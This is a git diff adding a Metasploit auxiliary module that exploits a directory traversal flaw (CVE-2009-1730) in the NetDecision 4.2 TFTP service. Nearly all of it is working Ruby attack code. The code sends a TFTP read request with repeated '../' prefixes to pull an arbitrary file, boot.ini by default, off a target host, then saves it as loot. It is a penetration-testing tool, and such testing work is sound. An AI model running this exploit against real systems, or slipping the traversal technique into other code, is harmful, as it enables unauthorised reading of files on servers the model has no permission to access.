diff --git a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb new file mode 100644 index 0000000000..a76cfd0a97 --- /dev/null +++ b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb @@ -0,0 +1,118 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => "NetDecision 4.2 TFTP Directory Traversal", + 'Description' => %q{ + This modules exploits a directory traversal vulnerability in NetDecision 4.2 + TFTP service. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Rob Kraus', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2009-1730'], + ['OSVDB', '54607'], + ['BID', '35002'] + ], + 'DisclosureDate' => "May 16 2009" + )) + + register_options( + [ + Opt::RPORT(69), + OptInt.new('DEPTH', [false, "Levels to reach base directory",1]), + OptString.new('FILENAME', [false, 'The file to loot', 'boot.ini']), + ], self.class) + end + + def run_host(ip) + + + # Configure how deep we want to traverse + depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH'] + # Prepare the filename + file_name = "../" * depth + file_name << datastore['FILENAME'] + + # Prepare the packet + pkt = "\x00\x01" + pkt << file_name + pkt << "\x00" + pkt << "octet" + pkt << "\x00" + + # We need to reuse the same port in order to receive the data + udp_sock = Rex::Socket::Udp.create( + { + 'Context' => {'Msf' => framework, 'MsfExploit'=>self} + } + ) + + add_socket(udp_sock) + + # Send the packet to target + file_data = '' + udp_sock.sendto(pkt, ip, datastore['RPORT'].to_i) + + while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) + + opcode, block, data = r[0].unpack("nna*") # Parse reply + if opcode != 3 # Check opcode: 3 => Data Packet + print_error("Error retrieving file #{file_name} from #{ip}") + return + end + file_data << data + udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack + + end + + if file_data.empty? + print_error("Error retrieving file #{file_name} from #{ip}") + return + end + + udp_sock.close + + # Output file if verbose + vprint_line(file_data.to_s) + + # Save file to disk + path = store_loot( + 'netdecision.tftp', + 'application/octet-stream', + ip, + file_data, + datastore['FILENAME'] + ) + + print_status("File saved in: #{path}") + end + + # + # Returns an Acknowledgement + # + def tftp_ack(block=1) + + pkt = "\x00\x04" # Ack + pkt << [block].pack("n") # Block Id + + end + +end